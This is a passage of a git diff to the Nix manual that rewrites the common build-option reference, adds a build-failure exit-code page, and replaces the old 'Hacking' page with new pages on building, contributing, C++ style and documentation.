*number*\ - Sets the maximum number of build jobs that Nix will perform in - parallel to the specified number. Specify `auto` to use the number - of CPUs in the system. The default is specified by the `max-jobs` - configuration setting, which itself defaults to `1`. A higher - value is useful on SMP systems or to exploit I/O latency. +- [`--quiet`](#opt-quiet) - Setting it to `0` disallows building on the local machine, which is - useful when you want builds to happen only on remote builders. + Decreases the level of verbosity of diagnostic messages printed on standard error. + This is the inverse option to `-v` / `--verbose`. - - [`--cores`]{#opt-cores}\ - Sets the value of the `NIX_BUILD_CORES` environment variable in - the invocation of builders. Builders can use this variable at - their discretion to control the maximum amount of parallelism. For - instance, in Nixpkgs, if the derivation attribute - `enableParallelBuilding` is set to `true`, the builder passes the - `-jN` flag to GNU Make. It defaults to the value of the `cores` - configuration setting, if set, or `1` otherwise. The value `0` - means that the builder should use all available CPU cores in the - system. + This option may be specified repeatedly. + See the previous verbosity levels list. - - [`--max-silent-time`]{#opt-max-silent-time}\ - Sets the maximum number of seconds that a builder can go without - producing any data on standard output or standard error. The - default is specified by the `max-silent-time` configuration - setting. `0` means no time-out. +- [`--log-format`](#opt-log-format) *format* - - [`--timeout`]{#opt-timeout}\ - Sets the maximum number of seconds that a builder can run. The - default is specified by the `timeout` configuration setting. `0` - means no timeout. + This option can be used to change the output of the log format, with *format* being one of: - - [`--keep-going`]{#opt-keep-going} / `-k`\ - Keep going in case of failed builds, to the greatest extent - possible. That is, if building an input of some derivation fails, - Nix will still build the other inputs, but not the derivation - itself. Without this option, Nix stops if any build fails (except - for builds of substitutes), possibly killing builds in progress (in - case of parallel or distributed builds). + - `raw` - - [`--keep-failed`]{#opt-keep-failed} / `-K`\ - Specifies that in case of a build failure, the temporary directory - (usually in `/tmp`) in which the build takes place should not be - deleted. The path of the build directory is printed as an - informational message. + This is the raw format, as outputted by nix-build. - - [`--fallback`]{#opt-fallback}\ - Whenever Nix attempts to build a derivation for which substitutes - are known for each output path, but realising the output paths - through the substitutes fails, fall back on building the derivation. + - `internal-json` - The most common scenario in which this is useful is when we have - registered substitutes in order to perform binary distribution from, - say, a network repository. If the repository is down, the - realisation of the derivation will fail. When this option is - specified, Nix will build the derivation instead. Thus, installation - from binaries falls back on installation from source. This option is - not the default since it is generally not desirable for a transient - failure in obtaining the substitutes to lead to a full build from - source (with the related consumption of resources). + Outputs the logs in a structured manner. - - [`--readonly-mode`]{#opt-readonly-mode}\ - When this option is used, no attempt is made to open the Nix - database. Most Nix operations do need database access, so those - operations will fail. + > **Warning** + > + > While the schema itself is relatively stable, the format of + > the error-messages (namely of the `msg`-field) can change + > between releases. - - [`--arg`]{#opt-arg} *name* *value*\ - This option is accepted by `nix-env`, `nix-instantiate`, - `nix-shell` and `nix-build`. When evaluating Nix expressions, the - expression evaluator will automatically try to call functions that - it encounters. It can automatically call functions for which every - argument has a [default - value](../language/constructs.md#functions) (e.g., - `{ argName ? defaultValue }: ...`). With `--arg`, you can also - call functions that have arguments without a default value (or - override a default value). That is, if the evaluator encounters a - function with an argument named *name*, it will call it with value - *value*. + - `bar` - For instance, the top-level `default.nix` in Nixpkgs is actually a - function: + Only display a progress bar during the builds. - ```nix - { # The system (e.g., `i686-linux') for which to build the packages. - system ? builtins.currentSystem - ... - }: ... - ``` + - `bar-with-logs` - So if you call this Nix expression (e.g., when you do `nix-env -iA - pkgname`), the function will be called automatically using the - value [`builtins.currentSystem`](../language/builtins.md) for - the `system` argument. You can override this using `--arg`, e.g., - `nix-env -iA pkgname --arg system \"i686-freebsd\"`. (Note that - since the argument is a Nix string literal, you have to escape the - quotes.) + Display the raw logs, with the progress bar at the bottom. - - [`--argstr`]{#opt-argstr} *name* *value*\ - This option is like `--arg`, only the value is not a Nix - expression but a string. So instead of `--arg system - \"i686-linux\"` (the outer quotes are to keep the shell happy) you - can say `--argstr system i686-linux`. +- [`--no-build-output`](#opt-no-build-output) / `-Q` - - [`--attr`]{#opt-attr} / `-A` *attrPath*\ - Select an attribute from the top-level Nix expression being - evaluated. (`nix-env`, `nix-instantiate`, `nix-build` and - `nix-shell` only.) The *attribute path* *attrPath* is a sequence - of attribute names separated by dots. For instance, given a - top-level Nix expression *e*, the attribute path `xorg.xorgserver` - would cause the expression `e.xorg.xorgserver` to be used. See - [`nix-env --install`](nix-env.md#operation---install) for some - concrete examples. + By default, output written by builders to standard output and standard error is echoed to the Nix command's standard error. + This option suppresses this behaviour. + Note that the builder's standard output and error are always written to a log file in `prefix/nix/var/log/nix`. - In addition to attribute names, you can also specify array indices. - For instance, the attribute path `foo.3.bar` selects the `bar` - attribute of the fourth element of the array in the `foo` attribute - of the top-level expression. +- [`--max-jobs`](#opt-max-jobs) / `-j` *number* - - [`--expr`]{#opt-expr} / `-E`\ - Interpret the command line arguments as a list of Nix expressions to - be parsed and evaluated, rather than as a list of file names of Nix - expressions. (`nix-instantiate`, `nix-build` and `nix-shell` only.) + Sets the maximum number of build jobs that Nix will perform in parallel to the specified number. + Specify `auto` to use the number of CPUs in the system. + The default is specified by the `max-jobs` configuration setting, which itself defaults to `1`. + A higher value is useful on SMP systems or to exploit I/O latency. - For `nix-shell`, this option is commonly used to give you a shell in - which you can build the packages returned by the expression. If you - want to get a shell which contain the *built* packages ready for - use, give your expression to the `nix-shell -p` convenience flag - instead. + Setting it to `0` disallows building on the local machine, which is useful when you want builds to happen only on remote builders. - - [`-I`]{#opt-I} *path*\ - Add a path to the Nix expression search path. This option may be - given multiple times. See the `NIX_PATH` environment variable for - information on the semantics of the Nix search path. Paths added - through `-I` take precedence over `NIX_PATH`. +- [`--cores`](#opt-cores) - - [`--option`]{#opt-option} *name* *value*\ - Set the Nix configuration option *name* to *value*. This overrides - settings in the Nix configuration file (see nix.conf5). + Sets the value of the `NIX_BUILD_CORES` environment variable in the invocation of builders. + Builders can use this variable at their discretion to control the maximum amount of parallelism. + For instance, in Nixpkgs, if the derivation attribute `enableParallelBuilding` is set to `true`, the builder passes the `-jN` flag to GNU Make. + It defaults to the value of the `cores` configuration setting, if set, or `1` otherwise. + The value `0` means that the builder should use all available CPU cores in the system. - - [`--repair`]{#opt-repair}\ - Fix corrupted or missing store paths by redownloading or rebuilding - them. Note that this is slow because it requires computing a - cryptographic hash of the contents of every path in the closure of - the build. Also note the warning under `nix-store --repair-path`. +- [`--max-silent-time`](#opt-max-silent-time) + + Sets the maximum number of seconds that a builder can go without producing any data on standard output or standard error. + The default is specified by the `max-silent-time` configuration setting. + `0` means no time-out. + +- [`--timeout`](#opt-timeout) + + Sets the maximum number of seconds that a builder can run. + The default is specified by the `timeout` configuration setting. + `0` means no timeout. + +- [`--keep-going`](#opt-keep-going) / `-k` + + Keep going in case of failed builds, to the greatest extent possible. + That is, if building an input of some derivation fails, Nix will still build the other inputs, but not the derivation itself. + Without this option, Nix stops if any build fails (except for builds of substitutes), possibly killing builds in progress (in case of parallel or distributed builds). + +- [`--keep-failed`](#opt-keep-failed) / `-K` + + Specifies that in case of a build failure, the temporary directory (usually in `/tmp`) in which the build takes place should not be deleted. + The path of the build directory is printed as an informational message. + +- [`--fallback`](#opt-fallback) + + Whenever Nix attempts to build a derivation for which substitutes are known for each output path, but realising the output paths through the substitutes fails, fall back on building the derivation. + + The most common scenario in which this is useful is when we have registered substitutes in order to perform binary distribution from, say, a network repository. + If the repository is down, the realisation of the derivation will fail. + When this option is specified, Nix will build the derivation instead. + Thus, installation from binaries falls back on installation from source. + This option is not the default since it is generally not desirable for a transient failure in obtaining the substitutes to lead to a full build from source (with the related consumption of resources). + +- [`--readonly-mode`](#opt-readonly-mode) + + When this option is used, no attempt is made to open the Nix database. + Most Nix operations do need database access, so those operations will fail. + +- [`--arg`](#opt-arg) *name* *value* + + This option is accepted by `nix-env`, `nix-instantiate`, `nix-shell` and `nix-build`. + When evaluating Nix expressions, the expression evaluator will automatically try to call functions that it encounters. + It can automatically call functions for which every argument has a [default value](@docroot@/language/syntax.md#functions) (e.g., `{ argName ? defaultValue }: ...`). + + With `--arg`, you can also call functions that have arguments without a default value (or override a default value). + That is, if the evaluator encounters a function with an argument named *name*, it will call it with value *value*. + + For instance, the top-level `default.nix` in Nixpkgs is actually a function: + + ```nix + { # The system (e.g., `i686-linux') for which to build the packages. + system ? builtins.currentSystem + ... + }: ... + ``` + + So if you call this Nix expression (e.g., when you do `nix-env --install --attr pkgname`), the function will be called automatically using the value [`builtins.currentSystem`](@docroot@/language/builtins.md) for the `system` argument. + You can override this using `--arg`, e.g., `nix-env --install --attr pkgname --arg system \"i686-freebsd\"`. + (Note that since the argument is a Nix string literal, you have to escape the quotes.) + +- [`--argstr`](#opt-argstr) *name* *value* + + This option is like `--arg`, only the value is not a Nix expression but a string. + So instead of `--arg system \"i686-linux\"` (the outer quotes are to keep the shell happy) you can say `--argstr system i686-linux`. + +- [`--attr`](#opt-attr) / `-A` *attrPath* + + Select an attribute from the top-level Nix expression being evaluated. + (`nix-env`, `nix-instantiate`, `nix-build` and `nix-shell` only.) + The *attribute path* *attrPath* is a sequence of attribute names separated by dots. + For instance, given a top-level Nix expression *e*, the attribute path `xorg.xorgserver` would cause the expression `e.xorg.xorgserver` to be used. + See [`nix-env --install`](@docroot@/command-ref/nix-env/install.md) for some concrete examples. + + In addition to attribute names, you can also specify array indices. + For instance, the attribute path `foo.3.bar` selects the `bar` + attribute of the fourth element of the array in the `foo` attribute + of the top-level expression. + +- [`--expr`](#opt-expr) / `-E` + + Interpret the command line arguments as a list of Nix expressions to be parsed and evaluated, rather than as a list of file names of Nix expressions. + (`nix-instantiate`, `nix-build` and `nix-shell` only.) + + For `nix-shell`, this option is commonly used to give you a shell in which you can build the packages returned by the expression. + If you want to get a shell which contain the *built* packages ready for use, give your expression to the `nix-shell --packages ` convenience flag instead. + +- [`-I` / `--include`](#opt-I) *path* + + Add an entry to the list of search paths used to resolve [lookup paths](@docroot@/language/constructs/lookup-path.md). + This option may be given multiple times. + + Paths added through `-I` take precedence over the [`nix-path` configuration setting](@docroot@/command-ref/conf-file.md#conf-nix-path) and the [`NIX_PATH` environment variable](@docroot@/command-ref/env-common.md#env-NIX_PATH). + +- [`--option`](#opt-option) *name* *value* + + Set the Nix configuration option *name* to *value*. + This overrides settings in the Nix configuration file (see nix.conf5). + +- [`--repair`](#opt-repair) + + Fix corrupted or missing store paths by redownloading or rebuilding them. + Note that this is slow because it requires computing a cryptographic hash of the contents of every path in the closure of the build. + Also note the warning under `nix-store --repair-path`. + +> **Note** +> +> See [`man nix.conf`](@docroot@/command-ref/conf-file.md#command-line-flags) for overriding configuration settings with command line flags. diff --git a/doc/manual/src/command-ref/opt-inst-syn.md b/doc/manual/src/command-ref/opt-inst-syn.md deleted file mode 100644 index 1703c40e3..000000000 --- a/doc/manual/src/command-ref/opt-inst-syn.md +++ /dev/null @@ -1,15 +0,0 @@ -\--prebuilt-only - -\-b - -\--attr - -\-A - -\--from-expression - -\-E - -\--from-profile - -path diff --git a/doc/manual/src/command-ref/status-build-failure.md b/doc/manual/src/command-ref/status-build-failure.md new file mode 100644 index 000000000..06114eb29 --- /dev/null +++ b/doc/manual/src/command-ref/status-build-failure.md @@ -0,0 +1,34 @@ +# Special exit codes for build failure + +1xx status codes are used when requested builds failed. +The following codes are in use: + +- `100` Generic build failure + + The builder process returned with a non-zero exit code. + +- `101` Build timeout + + The build was aborted because it did not complete within the specified `timeout`. + +- `102` Hash mismatch + + The build output was rejected because it does not match the + [`outputHash` attribute of the derivation](@docroot@/language/advanced-attributes.md). + +- `104` Not deterministic + + The build succeeded in check mode but the resulting output is not binary reproducible. + +With the `--keep-going` flag it's possible for multiple failures to occur. +In this case the 1xx status codes are or combined using +[bitwise OR](https://en.wikipedia.org/wiki/Bitwise_operation#OR). + +``` +0b1100100 + ^^^^ + |||`- timeout + ||`-- output hash mismatch + |`--- build failure + `---- not deterministic +``` diff --git a/doc/manual/src/contributing/contributing.md b/doc/manual/src/contributing/contributing.md deleted file mode 100644 index 854139a31..000000000 --- a/doc/manual/src/contributing/contributing.md +++ /dev/null @@ -1 +0,0 @@ -# Contributing diff --git a/doc/manual/src/contributing/hacking.md b/doc/manual/src/contributing/hacking.md deleted file mode 100644 index 9f7d5057b..000000000 --- a/doc/manual/src/contributing/hacking.md +++ /dev/null @@ -1,180 +0,0 @@ -# Hacking - -This section provides some notes on how to hack on Nix. To get the -latest version of Nix from GitHub: - -```console -$ git clone https://github.com/NixOS/nix.git -$ cd nix -``` - -To build Nix for the current operating system/architecture use - -```console -$ nix-build -``` - -or if you have a flake-enabled nix: - -```console -$ nix build -``` - -This will build `defaultPackage` attribute defined in the `flake.nix` -file. To build for other platforms add one of the following suffixes to -it: aarch64-linux, i686-linux, x86\_64-darwin, x86\_64-linux. i.e. - -```console -$ nix-build -A defaultPackage.x86_64-linux -``` - -To build all dependencies and start a shell in which all environment -variables are set up so that those dependencies can be found: - -```console -$ nix-shell -``` - -or if you have a flake-enabled nix: - -```console -$ nix develop -``` - -To get a shell with a different compilation environment (e.g. stdenv, -gccStdenv, clangStdenv, clang11Stdenv, ccacheStdenv): - -```console -$ nix-shell -A devShells.x86_64-linux.clang11StdenvPackages -``` - -or if you have a flake-enabled nix: - -```console -$ nix develop .#clang11StdenvPackages -``` - -Note: you can use `ccacheStdenv` to drastically improve rebuild -time. By default, ccache keeps artifacts in `~/.cache/ccache/`. - -To build Nix itself in this shell: - -```console -[nix-shell]$ ./bootstrap.sh -[nix-shell]$ ./configure $configureFlags --prefix=$(pwd)/outputs/out -[nix-shell]$ make -j $NIX_BUILD_CORES -``` - -To install it in `$(pwd)/outputs` and test it: - -```console -[nix-shell]$ make install -[nix-shell]$ make installcheck -j $NIX_BUILD_CORES -[nix-shell]$ ./outputs/out/bin/nix --version -nix (Nix) 3.0 -``` - -If you have a flakes-enabled Nix you can replace: - -```console -$ nix-shell -``` - -by: - -```console -$ nix develop -``` - -## Running tests - -### Unit-tests - -The unit-tests for each Nix library (`libexpr`, `libstore`, etc..) are defined -under `src/{library_name}/tests` using the -[googletest](https://google.github.io/googletest/) framework. - -You can run the whole testsuite with `make check`, or the tests for a specific component with `make libfoo-tests_RUN`. Finer-grained filtering is also possible using the [--gtest_filter](https://google.github.io/googletest/advanced.html#running-a-subset-of-the-tests) command-line option. - -### Functional tests - -The functional tests reside under the `tests` directory and are listed in `tests/local.mk`. -The whole testsuite can be run with `make install && make installcheck`. -Individual tests can be run with `make tests/{testName}.sh.test`. - -### Integration tests - -The integration tests are defined in the Nix flake under the `hydraJobs.tests` attribute. -These tests include everything that needs to interact with external services or run Nix in a non-trivial distributed setup. -Because these tests are expensive and require more than what the standard github-actions setup provides, they only run on the master branch (on ). - -You can run them manually with `nix build .#hydraJobs.tests.{testName}` or `nix-build -A hydraJobs.tests.{testName}` - -### Installer tests - -After a one-time setup, the Nix repository's GitHub Actions continuous integration (CI) workflow can test the installer each time you push to a branch. - -Creating a Cachix cache for your installer tests and adding its authorization token to GitHub enables [two installer-specific jobs in the CI workflow](https://github.com/NixOS/nix/blob/88a45d6149c0e304f6eb2efcc2d7a4d0d569f8af/.github/workflows/ci.yml#L50-L91): - -- The `installer` job generates installers for the platforms below and uploads them to your Cachix cache: - - `x86_64-linux` - - `armv6l-linux` - - `armv7l-linux` - - `x86_64-darwin` - -- The `installer_test` job (which runs on `ubuntu-latest` and `macos-latest`) will try to install Nix with the cached installer and run a trivial Nix command. - -#### One-time setup - -1. Have a GitHub account with a fork of the [Nix repository](https://github.com/NixOS/nix). -2. At cachix.org: - - Create or log in to an account. - - Create a Cachix cache using the format `-nix-install-tests`. - - Navigate to the new cache > Settings > Auth Tokens. - - Generate a new Cachix auth token and copy the generated value. -3. At github.com: - - Navigate to your Nix fork > Settings > Secrets > Actions > New repository secret. - - Name the secret `CACHIX_AUTH_TOKEN`. - - Paste the copied value of the Cachix cache auth token. - -#### Using the CI-generated installer for manual testing - -After the CI run completes, you can check the output to extract the installer URL: -1. Click into the detailed view of the CI run. -2. Click into any `installer_test` run (the URL you're here to extract will be the same in all of them). -3. Click into the `Run cachix/install-nix-action@v...` step and click the detail triangle next to the first log line (it will also be `Run cachix/install-nix-action@v...`) -4. Copy the value of `install_url` -5. To generate an install command, plug this `install_url` and your GitHub username into this template: - - ```console - sh <(curl -L ) --tarball-url-prefix https://-nix-install-tests.cachix.org/serve - ``` - - diff --git a/doc/manual/src/development/building.md b/doc/manual/src/development/building.md new file mode 100644 index 000000000..dbf080296 --- /dev/null +++ b/doc/manual/src/development/building.md @@ -0,0 +1,293 @@ +# Building Nix + +This section provides some notes on how to start hacking on Nix. +To get the latest version of Nix from GitHub: + +```console +$ git clone https://github.com/NixOS/nix.git +$ cd nix +``` + +> **Note** +> +> The following instructions assume you already have some version of Nix installed locally, so that you can use it to set up the development environment. +> If you don't have it installed, follow the [installation instructions](../installation/index.md). + + +To build all dependencies and start a shell in which all environment variables are set up so that those dependencies can be found: + +```console +$ nix-shell +``` + +To get a shell with one of the other [supported compilation environments](#compilation-environments): + +```console +$ nix-shell --attr devShells.x86_64-linux.native-clangStdenvPackages +``` + +> **Note** +> +> You can use `native-ccacheStdenvPackages` to drastically improve rebuild time. +> By default, [ccache](https://ccache.dev) keeps artifacts in `~/.cache/ccache/`. + +To build Nix itself in this shell: + +```console +[nix-shell]$ mesonFlags+=" --prefix=$(pwd)/outputs/out" +[nix-shell]$ dontAddPrefix=1 mesonConfigurePhase +[nix-shell]$ ninjaBuildPhase +``` + +To test it: + +```console +[nix-shell]$ mesonCheckPhase +``` + +To install it in `$(pwd)/outputs`: + +```console +[nix-shell]$ ninjaInstallPhase +[nix-shell]$ ./outputs/out/bin/nix --version +nix (Nix) 2.12 +``` + +To build a release version of Nix for the current operating system and CPU architecture: + +```console +$ nix-build +``` + +You can also build Nix for one of the [supported platforms](#platforms). + +## Building Nix with flakes + +This section assumes you are using Nix with the [`flakes`] and [`nix-command`] experimental features enabled. + +[`flakes`]: @docroot@/development/experimental-features.md#xp-feature-flakes +[`nix-command`]: @docroot@/development/experimental-features.md#xp-nix-command + +To build all dependencies and start a shell in which all environment variables are set up so that those dependencies can be found: + +```console +$ nix develop +``` + +This shell also adds `./outputs/bin/nix` to your `$PATH` so you can run `nix` immediately after building it. + +To get a shell with one of the other [supported compilation environments](#compilation-environments): + +```console +$ nix develop .#native-clangStdenvPackages +``` + +> **Note** +> +> Use `ccacheStdenv` to drastically improve rebuild time. +> By default, [ccache](https://ccache.dev) keeps artifacts in `~/.cache/ccache/`. + +To build Nix itself in this shell: + +```console +[nix-shell]$ mesonConfigurePhase +[nix-shell]$ ninjaBuildPhase +``` + +To test it: + +```console +[nix-shell]$ mesonCheckPhase +``` + +To install it in `$(pwd)/outputs`: + +```console +[nix-shell]$ ninjaInstallPhase +[nix-shell]$ nix --version +nix (Nix) 2.12 +``` + +For more information on running and filtering tests, see +[`testing.md`](./testing.md). + +To build a release version of Nix for the current operating system and CPU architecture: + +```console +$ nix build +``` + +You can also build Nix for one of the [supported platforms](#platforms). + +## Platforms + +Nix can be built for various platforms, as specified in [`flake.nix`]: + +[`flake.nix`]: https://github.com/nixos/nix/blob/master/flake.nix + +- `x86_64-linux` +- `x86_64-darwin` +- `i686-linux` +- `aarch64-linux` +- `aarch64-darwin` +- `armv6l-linux` +- `armv7l-linux` +- `riscv64-linux` + +In order to build Nix for a different platform than the one you're currently +on, you need a way for your current Nix installation to build code for that +platform. Common solutions include [remote build machines] and [binary format emulation] +(only supported on NixOS). + +[remote builders]: @docroot@/language/derivations.md#attr-builder +[binary format emulation]: https://nixos.org/manual/nixos/stable/options.html#opt-boot.binfmt.emulatedSystems + +Given such a setup, executing the build only requires selecting the respective attribute. +For example, to compile for `aarch64-linux`: + +```console +$ nix-build --attr packages.aarch64-linux.default +``` + +or for Nix with the [`flakes`] and [`nix-command`] experimental features enabled: + +```console +$ nix build .#packages.aarch64-linux.default +``` + +Cross-compiled builds are available for: +- `armv6l-linux` +- `armv7l-linux` +- `riscv64-linux` +Add more [system types](#system-type) to `crossSystems` in `flake.nix` to bootstrap Nix on unsupported platforms. + +### Building for multiple platforms at once + +It is useful to perform multiple cross and native builds on the same source tree, +for example to ensure that better support for one platform doesn't break the build for another. +Meson thankfully makes this very easy by confining all build products to the build directory --- one simple shares the source directory between multiple build directories, each of which contains the build for Nix to a different platform. + +Nixpkgs's `mesonConfigurePhase` always chooses `build` in the current directory as the name and location of the build. +This makes having multiple build directories slightly more inconvenient. +The good news is that Meson/Ninja seem to cope well with relocating the build directory after it is created. + +Here's how to do that + +1. Configure as usual + + ```bash + mesonConfigurePhase + ``` + +2. Rename the build directory + + ```bash + cd .. # since `mesonConfigurePhase` cd'd inside + mv build build-linux # or whatever name we want + cd build-linux + ``` + +3. Build as usual + + ```bash + ninjaBuildPhase + ``` + +> **N.B.** +> [`nixpkgs#335818`](https://github.com/NixOS/nixpkgs/issues/335818) tracks giving `mesonConfigurePhase` proper support for custom build directories. +> When it is fixed, we can simplify these instructions and then remove this notice. + +## System type + +Nix uses a string with the following format to identify the *system type* or *platform* it runs on: + +``` +-[-] +``` + +It is set when Nix is compiled for the given system, and based on the output of [`config.guess`](https://github.com/nixos/nix/blob/master/config/config.guess) ([upstream](https://git.savannah.gnu.org/cgit/config.git/tree/config.guess)): + +``` +--[][-] +``` + +When Nix is built such that `./configure` is passed any of the `--host`, `--build`, `--target` options, the value is based on the output of [`config.sub`](https://github.com/nixos/nix/blob/master/config/config.sub) ([upstream](https://git.savannah.gnu.org/cgit/config.git/tree/config.sub)): + +``` +-[-]- +``` + +For historic reasons and backward-compatibility, some CPU and OS identifiers are translated from the GNU Autotools naming convention in [`configure.ac`](https://github.com/nixos/nix/blob/master/configure.ac) as follows: + +| `config.guess` | Nix | +|----------------------------|---------------------| +| `amd64` | `x86_64` | +| `i*86` | `i686` | +| `arm6` | `arm6l` | +| `arm7` | `arm7l` | +| `linux-gnu*` | `linux` | +| `linux-musl*` | `linux` | + +## Compilation environments + +Nix can be compiled using multiple environments: + +- `stdenv`: default; +- `gccStdenv`: force the use of `gcc` compiler; +- `clangStdenv`: force the use of `clang` compiler; +- `ccacheStdenv`: enable [ccache], a compiler cache to speed up compilation. + +To build with one of those environments, you can use + +```console +$ nix build .#nix-ccacheStdenv +``` + +for flake-enabled Nix, or + +```console +$ nix-build --attr nix-ccacheStdenv +``` + +for classic Nix. + +You can use any of the other supported environments in place of `nix-ccacheStdenv`. + +## Editor integration + +The `clangd` LSP server is installed by default on the `clang`-based `devShell`s. +See [supported compilation environments](#compilation-environments) and instructions how to set up a shell [with flakes](#nix-with-flakes) or in [classic Nix](#classic-nix). + +To use the LSP with your editor, you will want a `compile_commands.json` file telling `clangd` how we are compiling the code. +Meson's configure always produces this inside the build directory. + +Configure your editor to use the `clangd` from the `.#native-clangStdenvPackages` shell. You can do that either by running it inside the development shell, or by using [nix-direnv](https://github.com/nix-community/nix-direnv) and [the appropriate editor plugin](https://github.com/direnv/direnv/wiki#editor-integration). + +> **Note** +> +> For some editors (e.g. Visual Studio Code), you may need to install a [special extension](https://open-vsx.org/extension/llvm-vs-code-extensions/vscode-clangd) for the editor to interact with `clangd`. +> Some other editors (e.g. Emacs, Vim) need a plugin to support LSP servers in general (e.g. [lsp-mode](https://github.com/emacs-lsp/lsp-mode) for Emacs and [vim-lsp](https://github.com/prabirshrestha/vim-lsp) for vim). +> Editor-specific setup is typically opinionated, so we will not cover it here in more detail. + +## Formatting and pre-commit hooks + +You may run the formatters as a one-off using: + +```console +./maintainers/format.sh +``` + +If you'd like to run the formatters before every commit, install the hooks: + +``` +pre-commit-hooks-install +``` + +This installs [pre-commit](https://pre-commit.com) using [cachix/git-hooks.nix](https://github.com/cachix/git-hooks.nix). + +When making a commit, pay attention to the console output. +If it fails, run `git add --patch` to approve the suggestions _and commit again_. + +To refresh pre-commit hook's config file, do the following: +1. Exit the development shell and start it again by running `nix develop`. +2. If you also use the pre-commit hook, also run `pre-commit-hooks-install` again. diff --git a/doc/manual/src/contributing/cli-guideline.md b/doc/manual/src/development/cli-guideline.md similarity index 99% rename from doc/manual/src/contributing/cli-guideline.md rename to doc/manual/src/development/cli-guideline.md index 01a1b1e73..23df844ec 100644 --- a/doc/manual/src/contributing/cli-guideline.md +++ b/doc/manual/src/development/cli-guideline.md @@ -87,7 +87,7 @@ impacted the most by bad user experience. and [aligning of text](#text-alignment). - [Autocomplete](#shell-completion) of options. - Examples of such commands: `nix doctor`, `nix edit`, `nix eval`, ... + Examples of such commands: `nix edit`, `nix eval`, ... - **Utility and scripting commands** diff --git a/doc/manual/src/development/contributing.md b/doc/manual/src/development/contributing.md new file mode 100644 index 000000000..7de7489dc --- /dev/null +++ b/doc/manual/src/development/contributing.md @@ -0,0 +1,79 @@ +# Contributing + +## Add a release note + +`doc/manual/rl-next` contains release notes entries for all unreleased changes. + +User-visible changes should come with a release note. + +### Add an entry + +Here's what a complete entry looks like. The file name is not incorporated in the document. + +``` +--- +synopsis: Basically a title +issues: 1234 +prs: 1238 +--- + +Here's one or more paragraphs that describe the change. + +- It's markdown +- Add references to the manual using @docroot@ +``` + +Significant changes should add the following header, which moves them to the top. + +``` +significance: significant +``` + + +See also the [format documentation](https://github.com/haskell/cabal/blob/master/CONTRIBUTING.md#changelog). + +### Build process + +Releases have a precomputed `rl-MAJOR.MINOR.md`, and no `rl-next.md`. + +## Branches + +- [`master`](https://github.com/NixOS/nix/commits/master) + + The main development branch. All changes are approved and merged here. + When developing a change, create a branch based on the latest `master`. + + Maintainers try to [keep it in a release-worthy state](#reverting). + +- [`maintenance-*.*`](https://github.com/NixOS/nix/branches/all?query=maintenance) + + These branches are the subject of backports only, and are + also [kept](#reverting) in a release-worthy state. + + See [`maintainers/backporting.md`](https://github.com/NixOS/nix/blob/master/maintainers/backporting.md) + +- [`latest-release`](https://github.com/NixOS/nix/tree/latest-release) + + The latest patch release of the latest minor version. + + See [`maintainers/release-process.md`](https://github.com/NixOS/nix/blob/master/maintainers/release-process.md) + +- [`backport-*-to-*`](https://github.com/NixOS/nix/branches/all?query=backport) + + Generally branches created by the backport action. + + See [`maintainers/backporting.md`](https://github.com/NixOS/nix/blob/master/maintainers/backporting.md) + +- [_other_](https://github.com/NixOS/nix/branches/all) + + Branches that do not conform to the above patterns should be feature branches. + +## Reverting + +If a change turns out to be merged by mistake, or contain a regression, it may be reverted. +A revert is not a rejection of the contribution, but merely part of an effective development process. +It makes sure that development keeps running smoothly, with minimal uncertainty, and less overhead. +If maintainers have to worry too much about avoiding reverts, they would not be able to merge as much. +By embracing reverts as a good part of the development process, everyone wins. + +However, taking a step back may be frustrating, so maintainers will be extra supportive on the next try. diff --git a/doc/manual/src/development/cxx.md b/doc/manual/src/development/cxx.md new file mode 100644 index 000000000..ff9297158 --- /dev/null +++ b/doc/manual/src/development/cxx.md @@ -0,0 +1,28 @@ +# C++ style guide + +Some miscellaneous notes on how we write C++. +Formatting we hope to eventually normalize automatically, so this section is free to just discuss higher-level concerns. + +## The `*-impl.hh` pattern + +Let's start with some background info first. +Headers, are supposed to contain declarations, not definitions. +This allows us to change a definition without changing the declaration, and have a very small rebuild during development. +Templates, however, need to be specialized to use-sites. +Absent fancier techniques, templates require that the definition, not just mere declaration, must be available at use-sites in order to make that specialization on the fly as part of compiling those use-sites. +Making definitions available like that means putting them in headers, but that is unfortunately means we get all the extra rebuilds we want to avoid by just putting declarations there as described above. + +The `*-impl.hh` pattern is a ham-fisted partial solution to this problem. +It constitutes: + +- Declaring items only in the main `foo.hh`, including templates. + +- Putting template definitions in a companion `foo-impl.hh` header. + +Most C++ developers would accompany this by having `foo.hh` include `foo-impl.hh`, to ensure any file getting the template declarations also got the template definitions. +But we've found not doing this has some benefits and fewer than imagined downsides. +The fact remains that headers are rarely as minimal as they could be; +there is often code that needs declarations from the headers but not the templates within them. +With our pattern where `foo.hh` doesn't include `foo-impl.hh`, that means they can just include `foo.hh` +Code that needs both just includes `foo.hh` and `foo-impl.hh`. +This does make linking error possible where something forgets to include `foo-impl.hh` that needs it, but those are build-time only as easy to fix. diff --git a/doc/manual/src/development/documentation.md b/doc/manual/src/development/documentation.md new file mode 100644 index 000000000..63f574ab7 --- /dev/null +++ b/doc/manual/src/development/documentation.md @@ -0,0 +1,230 @@ +# Contributing documentation + +Improvements to documentation are very much appreciated, and a good way to start out with contributing to Nix. + +This is how you can help: +- Address [open issues with documentation](https://github.com/NixOS/nix/issues?q=is%3Aissue+is%3Aopen+label%3Adocumentation) +- Review [pull requests concerning documentation](https://github.com/NixOS/nix/pulls?q=is%3Apr+is%3Aopen+label%3Adocumentation) + +Incremental refactorings of the documentation build setup to make it faster or easier to understand and maintain are also welcome. + +## Building the manual + +Build the manual from scratch: + +```console +nix-build $(nix-instantiate)'!doc' +``` + +or + +```console +nix build .#^doc +``` + +and open `./result-doc/share/doc/nix/manual/index.html`. + +To build the manual incrementally, [enter the development shell](./building.md) and run: + +```console +make manual-html-open -j $NIX_BUILD_CORES +``` + +In order to reflect changes to the [Makefile for the manual], clear all generated files before re-building: + +[Makefile for the manual]: https://github.com/NixOS/nix/blob/master/doc/manual/local.mk + +```console +rm $(git ls-files doc/manual/ -o | grep -F '.md') && rmdir doc/manual/src/command-ref/new-cli && make manual-html -j $NIX_BUILD_CORES +``` + +## Style guide + +The goal of this style guide is to make it such that +- The manual is easy to search and skim for relevant information +- Documentation sources are easy to edit +- Changes to documentation are easy to review + +You will notice that this is not implemented consistently yet. +Please follow the guide when making additions or changes to existing documentation. +Do not make sweeping changes, unless they are programmatic and can be validated easily. + +### Language + +This manual is [reference documentation](https://diataxis.fr/reference/). +The typical usage pattern is to look up isolated pieces of information. +It should therefore aim to be correct, consistent, complete, and easy to navigate at a glance. + +- Aim for clarity and brevity. + + Please take the time to read the [plain language 